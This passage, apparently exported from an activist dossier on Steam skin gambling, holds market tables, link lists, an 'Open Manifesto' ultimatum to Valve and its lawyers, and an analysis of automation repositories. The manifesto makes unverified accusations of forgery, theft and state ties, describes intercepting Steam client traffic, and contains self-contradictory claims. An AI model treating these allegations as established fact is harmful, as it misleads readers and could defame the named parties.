            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/money-and-enforcement.html#regional-funding"
          },
          {
            "label": "Follow the loss in the main investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/gambling-system.html#ban-economics"
          },
          {
            "label": "Inspect the economic record ↗",
            "url": "https://phishdestroy.io/steam_dossier/gambling-system.html#ban-economics"
          },
          {
            "label": "The dated P2P evidence ↗",
            "url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement.html#p2p-enforcement"
          },
          {
            "label": "E19 · Valve’s October 2016 response to the Washington State Gambling Commission ↗",
            "url": "https://fr.scribd.com/document/328063293/Valve-s-Oct-18th-response-to-Washington-State-Gambling-Commission-s-cease-and-desist"
          },
          {
            "label": "Open this passage in the complete original edition →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/money-and-enforcement.html#account-counts"
          },
          {
            "label": "Empire · all 122,674 raw listings ↓",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/market-snapshot-2026-10-11/empire_items.csv"
          },
          {
            "label": "All 22,169 priced groups ↓",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/market-snapshot-2026-10-11/items_priced.csv"
          },
          {
            "label": "Empire · 2,351 unpriced listings ↓",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/market-snapshot-2026-10-11/empire-unpriced.csv"
          },
          {
            "label": "Calculation record & file hashes ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/market-snapshot-2026-10-11/manifest.json"
          },
          {
            "label": "Evidence record ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/aml-review-2026-10-10/review-record.json"
          },
          {
            "label": "Identity & AML investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/aml-data.html"
          },
          {
            "label": "Valve’s response to New York ↗",
            "url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement.html#us-lawsuit"
          },
          {
            "label": "Terms of Service — effective 12 August 2026 ↗",
            "url": "https://www.csgoroll.com/info/terms-of-service/"
          },
          {
            "label": "Responsible Play Policy ↗",
            "url": "https://csgofast.com/responsible-play-policy"
          },
          {
            "label": "FAQ — balances, KYC and P2P settlement ↗",
            "url": "https://www.csgoroll.com/info/faq/"
          },
          {
            "label": "What Payment Methods do we Accept? ↗",
            "url": "https://intercom.help/csgoroll/en/articles/9626919-what-payment-methods-do-we-accept"
          },
          {
            "label": "CSGORoll 1 Coin Gift Card ↗",
            "url": "https://www.kinguin.net/category/377753/csgoroll-1-coin-gift-card"
          },
          {
            "label": "CSGOFAST 10 Fast Coins Gift Card ↗",
            "url": "https://www.kinguin.net/category/82747/csgofast-10-usd-gift-card"
          },
          {
            "label": "Purchase Protection Program ↗",
            "url": "https://www.paypal.com/us/legalhub/paypal/buyer-protection"
          },
          {
            "label": "What gambling activities does PayPal prohibit? ↗",
            "url": "https://www.paypal.com/us/cshelp/article/what-gambling-activities-does-paypal-prohibit-help391"
          },
          {
            "label": "Action against CS:GO Roll / Feral Holdings — 17 May 2023 ↗",
            "url": "https://www.acma.gov.au/articles/2023-05/acma-takes-action-against-illegal-skins-gambling-site"
          },
          {
            "label": "Interactive gambling enforcement — April to June 2025 ↗",
            "url": "https://www.acma.gov.au/publications/2025-07/report/action-interactive-gambling-april-june-2025"
          },
          {
            "label": "Gamusoft LP — order dated 16 April 2025 ↗",
            "url": "https://kansspelautoriteit.nl/gamusoft-lp"
          },
          {
            "label": "Risks of Gaming and Gambling ↗",
            "url": "https://www.fatf-gafi.org/en/publications/Methodsandtrends/risks-of-gaming-and-gambling.html"
          },
          {
            "label": "About the New York Attorney General lawsuit — 11 March 2026 ↗",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "In-Game Item Trading Update — July 2016 ↗",
            "url": "https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "CSGOFast counter transcription — supplied 10 October 2026 ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/aml-review-2026-10-10/csgofast-counter.json"
          },
          {
            "label": "Public homepage — retrieved 10 October 2026 ↗",
            "url": "https://csgofast.com/"
          },
          {
            "label": "Legal notice ↗",
            "url": "https://www.kinguin.net/page/legal"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "",
            "rows": [
              [
                "Stage",
                "Record to identify",
                "Where the dispute attaches"
              ],
              [
                "1. Gift-card purchase",
                "Marketplace order, named seller, receipt, payment recipient and funding method.",
                "Delivery, validity and description of the purchased code; the seller and payment route matter."
              ],
              [
                "2. Code redemption",
                "Code use, receiving platform account and credit entry.",
                "Whether the operator credited the account and honoured its redemption terms."
              ],
              [
                "3. Later withdrawal / KYC",
                "Document request, hold reason, applicable terms and account history.",
                "The operator’s decision. A successful code delivery is a different event from a later refusal to release value."
              ]
            ]
          },
          {
            "id": "table-2",
            "caption": "Where the public remedy changes",
            "rows": [
              [
                "Route",
                "Published control or remedy",
                "Record needed"
              ],
              [
                "Protected CS2 item trade",
                "Seven-day reversal returns original items; the initiating account receives a 30-day trade and Market cooldown.",
                "Trade IDs, item lineage, reversal eligibility and outcome."
              ],
              [
                "Completed Community Market transaction",
                "No equivalent user cancellation or refund mechanism in the Market FAQ. The scam FAQ separately acknowledges that some transactions may be cancelled for fraud.",
                "Listings, counterparties, authorisation evidence, intervention decision and fees."
              ],
              [
                "Steam Wallet → gift purchase",
                "Market proceeds can fund gifts. Gifting and activation remain subject to product and regional restrictions.",
                "Linked Wallet entries, gift order, recipient, restriction checks and any refund."
              ]
            ]
          },
          {
            "id": "table-3",
            "caption": "Collected listings valued at the supplied minimum asking prices",
            "rows": [
              [
                "Platform",
                "Item groups",
                "Priced listings",
                "Total USD"
              ],
              [
                "CSGOEmpire",
                "13,843",
                "120,323",
                "$7,741,028.63"
              ],
              [
                "CSGORoll",
                "6,573",
                "56,590",
                "$5,964,749.78"
              ],
              [
                "CSGOFast",
                "1,753",
                "9,214",
                "$5,577,938.20"
              ]
            ]
          },
          {
            "id": "table-4",
            "caption": "Priced inventory explorer",
            "rows": [
              [
                "Platform",
                "Item name",
                "Listings",
                "Min ask USD",
                "Total USD"
              ],
              [
                "CSGORoll",
                "AWP | Dragon Lore (Factory New)",
                "12",
                "$10,550.58",
                "$126,606.96"
              ],
              [
                "CSGORoll",
                "AWP | Dragon Lore (Field-Tested)",
                "19",
                "$5,918.54",
                "$112,452.26"
              ],
              [
                "CSGORoll",
                "M4A4 | Howl (Factory New)",
                "16",
                "$6,465.00",
                "$103,440.00"
              ],
              [
                "CSGORoll",
                "AK-47 | Wild Lotus (Factory New)",
                "7",
                "$13,748.53",
                "$96,239.71"
              ],
              [
                "CSGOFast",
                "AK-47 | Wild Lotus (Factory New)",
                "6",
                "$13,748.53",
                "$82,491.18"
              ],
              [
                "CSGOFast",
                "Sticker | Reason Gaming (Holo) | Katowice 2014",
                "1",
                "$74,540.83",
                "$74,540.83"
              ],
              [
                "CSGOFast",
                "AK-47 | Vulcan (Minimal Wear)",
                "231",
                "$310.29",
                "$71,676.99"
              ],
              [
                "CSGOFast",
                "★ Sport Gloves | Hedge Maze (Minimal Wear)",
                "11",
                "$6,378.91",
                "$70,168.01"
              ],
              [
                "CSGOEmpire",
                "AK-47 | Wild Lotus (Factory New)",
                "5",
                "$13,748.53",
                "$68,742.65"
              ],
              [
                "CSGOFast",
                "AK-47 | Hydroponic (Factory New)",
                "18",
                "$3,501.61",
                "$63,028.98"
              ],
              [
                "CSGOEmpire",
                "★ Sport Gloves | Hedge Maze (Field-Tested)",
                "17",
                "$3,567.00",
                "$60,639.00"
              ],
              [
                "CSGORoll",
                "M4A4 | Howl (Minimal Wear)",
                "13",
                "$4,654.79",
                "$60,512.27"
              ],
              [
                "CSGOEmpire",
                "★ Sport Gloves | Hedge Maze (Factory New)",
                "2",
                "$28,176.43",
                "$56,352.86"
              ],
              [
                "CSGORoll",
                "AWP | Gungnir (Factory New)",
                "5",
                "$11,031.52",
                "$55,157.60"
              ],
              [
                "CSGOEmpire",
                "StatTrak™ M4A4 | Howl (Factory New)",
                "4",
                "$13,600.00",
                "$54,400.00"
              ],
              [
                "CSGOFast",
                "StatTrak™ M4A4 | Howl (Factory New)",
                "4",
                "$13,600.00",
                "$54,400.00"
              ],
              [
                "CSGOFast",
                "AWP | Dragon Lore (Factory New)",
                "5",
                "$10,550.58",
                "$52,752.90"
              ],
              [
                "CSGORoll",
                "AK-47 | Hydroponic (Factory New)",
                "15",
                "$3,501.61",
                "$52,524.15"
              ],
              [
                "CSGORoll",
                "M4A4 | Howl (Field-Tested)",
                "13",
                "$4,000.00",
                "$52,000.00"
              ],
              [
                "CSGOFast",
                "★ Sport Gloves | Hedge Maze (Field-Tested)",
                "14",
                "$3,567.00",
                "$49,938.00"
              ],
              [
                "CSGOEmpire",
                "★ Butterfly Knife | Fade (Factory New)",
                "26",
                "$1,910.00",
                "$49,660.00"
              ],
              [
                "CSGORoll",
                "AWP | Dragon Lore (Minimal Wear)",
                "6",
                "$8,124.95",
                "$48,749.70"
              ],
              [
                "CSGOEmpire",
                "AK-47 | Wild Lotus (Minimal Wear)",
                "5",
                "$9,640.51",
                "$48,202.55"
              ],
              [
                "CSGORoll",
                "AWP | Gungnir (Minimal Wear)",
                "5",
                "$9,571.04",
                "$47,855.20"
              ],
              [
                "CSGOFast",
                "★ Sport Gloves | Pandora's Box (Field-Tested)",
                "16",
                "$2,950.00",
                "$47,200.00"
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/major-enforcement-2026-10-10/policy-record.json",
          "sha256": "8690074d8bf18ce5ed9780e7458b3531ed17efebbb5d0aed192643bbdeb7196b",
          "bytes": 3631
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/market-snapshot-2026-10-11/empire_items.csv",
          "sha256": "39f298b76a153b0885d3a47c4a3f7e2f1182276b80c6f8d0476a99de5ab6eb6f",
          "bytes": 6095691
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/market-snapshot-2026-10-11/items_priced.csv",
          "sha256": "7619f7e4a4a28c07612242b90e0922ee1971c7242ead9df5a86e84d4ec2f9dcd",
          "bytes": 1587640
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/market-snapshot-2026-10-11/empire-unpriced.csv",
          "sha256": "fa806fe409a748385865cf3e2acccfd642b86ccf4644dc14a853594fb7850e36",
          "bytes": 153967
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/market-snapshot-2026-10-11/manifest.json",
          "sha256": "4f38fb1b001f7ef337fea674486e0741007da161ec77d0355172253f5c24cb59",
          "bytes": 1507
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/aml-review-2026-10-10/review-record.json",
          "sha256": "2afe5f27562b6ba94b8c7e4887882b4925bc179d07f6cc2601378c6001c0ed2b",
          "bytes": 26246
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/aml-review-2026-10-10/csgofast-counter.json",
          "sha256": "0b402a4227c2b703762959105a0bf42bbd259fe278f8121dcf49cc2f1f0c86c8",
          "bytes": 810
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "open_manifesto",
      "language": "en",
      "title": "Open Manifesto — Public Notice · The Steam Dossier",
      "author": "PhishDestroy",
      "source_url": "https://phishdestroy.io/steam_dossier/open_manifesto",
      "source_file": "steam_dossier/open_manifesto.html",
      "source_html_sha256": "02cc1052c80b7f5d0e75b60e6d03cab7daa05f6184acaf576542537762400f63",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "open_manifesto.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/open_manifesto.pdf",
        "sha256": "fae6594b5145edf79ac0ffd2c8f85f98b52707cd2b00423ae9bf8a53bc5624f9",
        "bytes": 219136,
        "pages": 8
      },
      "integrity": {
        "signed_object": "open_manifesto.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/open_manifesto.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/open_manifesto.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nEditorial statement / Working position · Edition history\n\nThe Steam Dossier  /  Open Manifesto\n\nOpen Manifesto — Public Notice\n\nForensic evidence of forgery, backbone-level network anomalies, and immutable data preservation. Addressed to Valve Corporation, Taylor Wessing, regulators, and any observing intelligence agencies.\n\n▲ OPEN MANIFESTO — PUBLIC NOTICE ▲\nT-Minus · October 14, 2026\n—\nTelemetry Capture · Since Aug 31\n—\n10 regulatory bodies + originals 5 environments · running\nEvidence: IPFS — immutable · daily commits\nReference: https://phishdestroy.io/steam_dossier\n\nSubject: Open Manifesto — forensic evidence of forgery, network anomalies, and immutable data preservation. To: Valve Corporation, Taylor Wessing (the attorney who signed the disclosure [Exhibit A]), regulators, and any observing intelligence agencies.\n\nAnnouncementThe baseline — this is a record, not a negotiation\n\nLet us establish the baseline. This is not a threat and not a negotiation. It is a record of facts already established and of actions already scheduled. We do not represent “Source 1” and we are not anyone’s proxy. We came for the phishing ecosystem — to prove that phishing operations reuse Valve’s styles, libraries, and OpenID infrastructure directly, and that Valve sees every one of them and does not ban them. In the process, we stumbled onto something bigger.\n\nYour response determines exactly one thing: whether Valve appears in what follows as a participant or as a defendant.\n\nWhat we seek is simple: an official answer and an admission of responsibility.\n\n§1The Taylor Wessing Disclosure — Publishes October 14, 2026\n\nValve will explain, publicly, what the attorney who signed the disclosure [Exhibit A] actually did in that letter and in that PDF. We understand they most likely did not fabricate the logs themselves — but they signed them and claimed them. So here is the question, and Valve will forward it to the bar regulator itself: why does a lawyer representing Valve produce documents like this — and are they even acting as a lawyer when they do? And how often has Valve, or its counsel, pulled this trick before?\n\nThis question goes to the regulator in any case. Your cooperation determines the framing, not the fact.\n\nThe investigation publishes on October 14, 2026 — unconditionally. Valve’s official response, if provided, will be included verbatim and unabridged in all submissions. Silence will also be documented. The full investigation goes to 10 regulatory bodies, with the original letters and the original PDF sent by Taylor Wessing to Source 1 attached in unaltered form. Those originals show not merely an inability to operate a PDF, but — in our assessment, backed by a published mathematical audit — systematic evidence manipulation: organic Cyrillic harassment hidden, synthetic botnet reports left visible. The redactions are technically defective — documented and reproducible via our public forensic toolkit (gitlab.com/phishdestroy/taylor-wessing-data-breach-toolkit). The full methodology has been shared with regulators under confidential cover. The conclusion is mathematics, not opinion — and the mathematics says the responsibility cannot rest on the signatory alone.\n\n§2The Theft Ledger, the “Dupe” Fairy Tale, and the GDPR Charade\n\nYou will also resolve the account substitution fraud, the thefts, and the support negligence. How — internally or through regulators — is your choice. But understand what we are actually demanding:\n\nStop lying about 2023\n\nTrade substitution is happening right now, and we are watching it live. Valve patched the hole for exactly one game and declared the problem solved. Does Dota 2 no longer belong to Valve? Do Rust and TF2 players deserve less protection? A parallel investigation with full recordings and screenshots is already running — it will not go to regulators, but it will be published with facts, dates, and a complete description of the methodology that led us to them.\n\nThe “million accounts” question\n\nValve wrote a figure to a prosecutor. Now Valve can answer publicly: how many accounts and in-game items has the company appropriated for itself? Not in prices — since Valve’s official position is that these items are worthless — just a plain list of skins, and the reason Valve chose to keep them instead of returning them to the players they were stolen from. And while you’re at it: you market the 7-day trade hold as an anti-scam measure. Explain how.\n\nThe “dupe” fairy tale\n\nWe ask directly: what duplication are you telling your users about? Do you understand how absurd it is? A player owns a skin. The skin is stolen. For that player, the story is over. Whether Valve later bans the scammer or not changes nothing. Whether the skin ended up with the scammer or confiscated by Valve — for the victim, the outcome is identical.\n\nYour own support staff steals\n\nWe have documented two admitted facts of theft committed by Valve support employees. Meanwhile, players have no right of appeal against bans issued by those same support teams — possibly by Russian-speaking contractors. So: justify every ban. Prove to everyone that these bans are not the bias of the same support staff who stole skins. And since in the documented employee-theft case money was stolen — not skins — and the investigation traces it to specific wallets: state precisely which legal procedures Valve initiated against that employee in EU jurisdiction. Or none?\n\nTerminate the fictitious GDPR compliance\n\nYour own lawyers’ disclosure document proves the data was incomplete — by our verifiable estimate, roughly 1% of what Valve provably holds, by Valve’s own admission about what it stores. Valve demonstrably does not understand what the law requires, and tries to buy its way out while its support openly lies and closes tickets. In Source 1’s case the disclosure shows strong indicia of falsification — judging that is for regulators, not for us. But we state as fact: the data was not all there.\n\nOur demand is primitive: stop lying. We will not stop, and we cannot be stopped — we are not one person, and our license is public. Either follow the law or openly abandon it. What you cannot keep doing is using the law as cover while hiding the profiles you ban for your own benefit. That is just ridiculous.\n\n§3The Steam Client Telemetry — Live since August 31 Live\n\nOfficial announcement. For 32 days — since August 31 — the Steam client has been running inside our instrumented test environment, with user-level activity emulated around it.\n\nThe environment is strictly academic. It was built and is operated as a research setup, under certificates provided to us by a third-party research organization — not generated by us. This distinction matters, and here is why: Steam does not operate like an ordinary application. Valve functions at the level of backbone internet infrastructure, and at that level nothing behaves like “just packets” — routing, trust chains, and session handling all work differently. Self-signed certificates are simply not suitable for analysis at this level; the client would reject them or degrade. That is precisely why a legitimate, expensive, fully trusted certificate was required — and was provided to us for exactly this purpose. Your client accepted it. We see everything in plain text.\n\nThe setup, for your engineers:\n\n5 independent environments. Two are physically equipped with GPUs — that matters.\n1 system has games installed and played. 4 systems have zero games installed — a clean, logged-in, idling client.\nAll five emulate an ordinary user: browsing, background work, consumer VPN usage.\nEvery environment runs on our own hardware and network, using volunteer-provided accounts — one of them registered by a participant directly inside the research environment for this study. No third-party accounts, sessions or personal data are captured; captures are filtered to client-generated traffic before any archival to IPFS.\n\nTo be unambiguous: PhishDestroy is not a user, participant, or client of Valve or Steam. This is an observational study, and we do not conduct it in the first person — it is run together with a researcher at an academic institution. Tying this team to any individual account would be absurd.\n\nWe came to document phishing infrastructure. Instead we recorded backbone-level anomalies: on clean systems with no games and no downloads, the Steam client’s packet sizes and structure shift in response to user activity outside of Steam. We do not yet know how to classify these packets — but we know the people who do. And based on what is already being written to the network, we may end up with very serious questions — not only to Valve, but to NVIDIA — backed by facts, not speculation.\n\nWe understand the risk of what we are doing. We state plainly: we cannot judge whether what we observe is malicious by design or negligent by architecture. That judgment is not ours to make. But we are in possession of established facts that force the question regardless: Valve’s documented cooperation with the Russian Federation and its regulators, and the fact that the support employees who stole users’ skins were citizens of the Russian Federation. Combine this with what is already known: support employees hold extensive access to user data, no one controls that access, and no one controls whom they pass this data to. We are therefore compelled to raise this question publicly, independent of any other issue in this dossier.\n\nIt is precisely because of the risk attached to this data that we publish it to IPFS daily, as it is captured. No one can delete it. Not them — and not us.\n\nWe would have asked Edward Snowden to help interpret anomalies of this class. But we are not you — we do not maintain contacts with a terrorist state. Western regulators and independent researchers will do the classification instead.\n\nPart 3 publishes when the dataset is complete. Right now we have more questions than answers — and every day of silence adds another immutable day of data.\n\n§4Notice to Intelligence Agencies & Regulators: The Immutability Protocol\n\nTo anyone considering pressure, seizure, or a takedown — read carefully.\n\nAll intercepted telemetry is written to IPFS in real time, cryptographically signed, and anchored to a multisig wallet that does not exist. The keys required to alter or delete this data were never generated or are provably destroyed. We cannot delete this data even if we want to. No court order, no coercion, no force applied to us can remove a single hash.\n\nEvery record carries its original embedded timestamps. Examine them, and the dates speak for themselves — the timeline is self-evident and self-authenticating.\n\nAn IPFS hash is immortal. The evidence chain no longer depends on our existence, our freedom, or our cooperation. It grows every day you remain silent.\n\nThe math is public. The originals are preserved. The capture is running. Answer.\n\n— The PhishDestroy Team\n\nA note on the countdown — why a timer is not a threat\n\nThe countdown above is not coercion and not blackmail. It is the opposite. Law in every relevant jurisdiction distinguishes between malicious action and good-faith resolution: a party that acts without first attempting resolution acts in bad faith. We are required to attempt resolution before escalating — and this page is that attempt, made publicly, with a stated date. The timer exists so that no one can later claim there was no notice, no opportunity, and no good-faith window. It is the legal record of ours.\n\nValve understands this mechanism — and has already demonstrated it. When our previous notice period expired, infrastructure linked to Valve accessed Source 1’s website on the very day of expiry and reviewed precisely the material that had been disclosed. They watched the deadline. They know what it means. Access logs are preserved.\n\nA deadline you can see is not a threat. A deadline is what distinguishes a lawful demand from an ambush.\n\nPublic sources. Documented conduct. · PhishDestroy",
        "headings": [
          {
            "level": 1,
            "text": "Open Manifesto — Public Notice",
            "anchor": "pd-open_manifesto--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/open_manifesto"
          },
          {
            "level": 2,
            "text": "A note on the countdown — why a timer is not a threat",
            "anchor": "pd-open_manifesto--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/open_manifesto"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/open_manifesto"
          },
          {
            "label": "Edition history",
            "url": "https://phishdestroy.io/steam_dossier/editions/"
          },
          {
            "label": "gitlab.com/phishdestroy/taylor-wessing-data-breach-toolkit",
            "url": "https://gitlab.com/phishdestroy/taylor-wessing-data-breach-toolkit"
          }
        ],
        "tables": [],
        "cited_source_ids": []
      },
      "resources": []
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "output_steam_network/index",
      "language": "en",
      "title": "Steam automation: public code and platform controls — The Steam Dossier",
      "author": "PhishDestroy Team",
      "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/index.html",
      "source_file": "steam_dossier/output_steam_network/index.html",
      "source_html_sha256": "72849dd247df36d5614e95d4e3b751c3d4f995f883f1e37cba23bc270b3b3596",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "output_steam_network__index.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/output_steam_network__index.pdf",
        "sha256": "b281c152ae2afa8f1fda7056887d804a3c06f98e848ebf09116b5613d2791ecc",
        "bytes": 223250,
        "pages": 6
      },
      "integrity": {
        "signed_object": "output_steam_network__index.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/output_steam_network__index.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/output_steam_network__index.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nExhibit VII · Technical Architecture Analysis\nSteam Network Architecture — Protocol Fidelity & Ecosystem Analysis\n\nAutomation has public infrastructure.\n\nWHAT THIS SECTION PROVES\n\nThis module maps 252 public repositories, 3,320 GitHub profiles and 4,214 distinct profile–repository pairs in the collected Steam automation network. These records document public software and relationships between profiles and repositories. They provide a basis for examining automation capabilities and platform controls; they do not establish every operator's identity, Valve's knowledge of particular activity, or the absence of vulnerabilities in the software.\n\n18 October 2026 · scope clarification. Earlier wording overstated what this repository collection could establish about vulnerabilities, intent and revenue. The analysis below distinguishes documented interfaces and public software from conclusions that require operational or internal evidence.\n\n← Back to Executive briefing\n\nThe collected repositories make parts of the automation ecosystem inspectable: libraries implement client protocols, interact with Steam services and expose programmatic capabilities. Valve's Steamworks Web API overview confirms that Steam provides HTTP APIs, including public methods and protected methods requiring authentication. The existence of an interface establishes a technical capability; it does not establish that every use is authorized, safe or known to Valve.\n\nWhat the public software establishes\n\nThe collection includes projects such as SteamKit, node-steam-user, ValvePython/steam and ArchiSteamFarm. Their public code and documentation are sources for studying client-protocol implementations, message schemas and automated workflows. This network analysis is not a comprehensive vulnerability audit of those projects. Repository membership, a fork or a contribution also does not by itself identify a bot operator or establish involvement in a particular theft. The accountability question is which controls apply to the documented capabilities and what evidence exists of their enforcement.\n\nPillar 01 · Protocol Fidelity\nOfficial Protobuf Schemas\n\nAutomation libraries do not bypass security gates. They serialize official Protobuf messages (steammessages_clientserver.proto) over TCP/WebSockets directly to Valve's official CM clusters, exactly as the Steam Client does.\n\nPillar 02 · Algorithmic 2FA\nAuthentication and programmatic access\n\nClient libraries can expose authentication and trade-related workflows. Assessing a particular use requires evidence about the account, credentials, permissions and applicable controls. A library's capability alone does not prove that Valve authorized an operator or designed the feature for abuse.\n\nPillar 03 · Commercial Beneficiary\nFees need a defined calculation\n\nFee analysis needs a stated item price, currency, platform charge, publisher charge and rounding rule. A combined charge should not automatically be described as revenue retained by Valve. The repository graph does not measure transaction volumes, fees paid or account-purchase revenue. See the separate card economy analysis for its data and calculation assumptions.\n\nModule 01 · Repository & Protocol Evidence\nPublic Developer & Repository Infrastructure\n\nDetailed forensic catalog of 252 open-source repositories powering Steam automation. Traces how standard software engineering tools implement Valve's published API endpoints without exploits.\n\n252Repositories\n4,554Role Links\nInspect repository evidence → Module 02 · Ecosystem Demographics\nGlobal Engineering Ecosystem Metrics\n\nGeographic and institutional breakdown of 3,320 software engineers contributing to the Steam automation ecosystem, including corporate affiliations across major technology employers.\n\n3,320Engineers\n98,902Connection Pairs\nInspect ecosystem metrics → Module 03 · Interactive Visual Graph\nInteractive Protocol & Developer Network Graph\n\nComprehensive Vis.js interactive network graph mapping repositories, protocol libraries (SteamKit, Steamworks, ASF), and cross-project contributor overlaps. Visually demonstrates the legitimate, interconnected open-source software architecture powering Steam's automation ecosystem.\n\nInteractiveVis.js Engine\nCluster IsolationLive Search\nZero ExploitsStandard APIs\nLaunch interactive network graph →\nRegulatory & Legal Context (GDPR Article 25 & Consumer Protection):\nUnder the principle of Data Protection by Design and by Default, a platform architecture that permits silent API-key generation, unnotified trade cancellation, and machine-automated asset liquidation is an architectural choice of the platform operator. When Valve systematically rejects consumer reimbursement claims by asserting that losses were caused by \"external cyberattacks,\" it conceals that the attack vector is Valve's own intentionally designed Web API architecture.\n\nINTERACTIVE VIEW\n\nFull interactive visualisation of the 252-repository, 3,320-developer network graph is available at network.html. Aggregate metrics are on the BI Metrics page.\n\nThe Steam Dossier · Technical Architecture Archive · Public Source Records · All rights surrendered to humanity.",
        "headings": [
          {
            "level": 1,
            "text": "Steam Network Architecture — Protocol Fidelity & Ecosystem Analysis",
            "anchor": "pd-output_steam_network__index--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/index.html"
          },
          {
            "level": 3,
            "text": "Official Protobuf Schemas",
            "anchor": "pd-output_steam_network__index--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/index.html"
          },
          {
            "level": 3,
            "text": "Authentication and programmatic access",
            "anchor": "pd-output_steam_network__index--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/index.html"
          },
          {
            "level": 3,
            "text": "Fees need a defined calculation",
            "anchor": "pd-output_steam_network__index--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/index.html"
          },
          {
            "level": 2,
            "text": "Public Developer & Repository Infrastructure",
            "anchor": "pd-output_steam_network__index--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/index.html"
          },
          {
            "level": 2,
            "text": "Global Engineering Ecosystem Metrics",
            "anchor": "pd-output_steam_network__index--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/index.html"
          },
          {
            "level": 2,
            "text": "Interactive Protocol & Developer Network Graph",
            "anchor": "pd-output_steam_network__index--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/index.html"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/output_steam_network/index.html"
          },
          {
            "label": "← Back to Executive briefing",
            "url": "https://phishdestroy.io/steam_dossier/index.html#briefing-heading"
          },
          {
            "label": "Steamworks Web API overview",
            "url": "https://partner.steamgames.com/doc/webapi_overview"
          },
          {
            "label": "card economy analysis",
            "url": "https://phishdestroy.io/steam_dossier/card_economy"
          },
          {
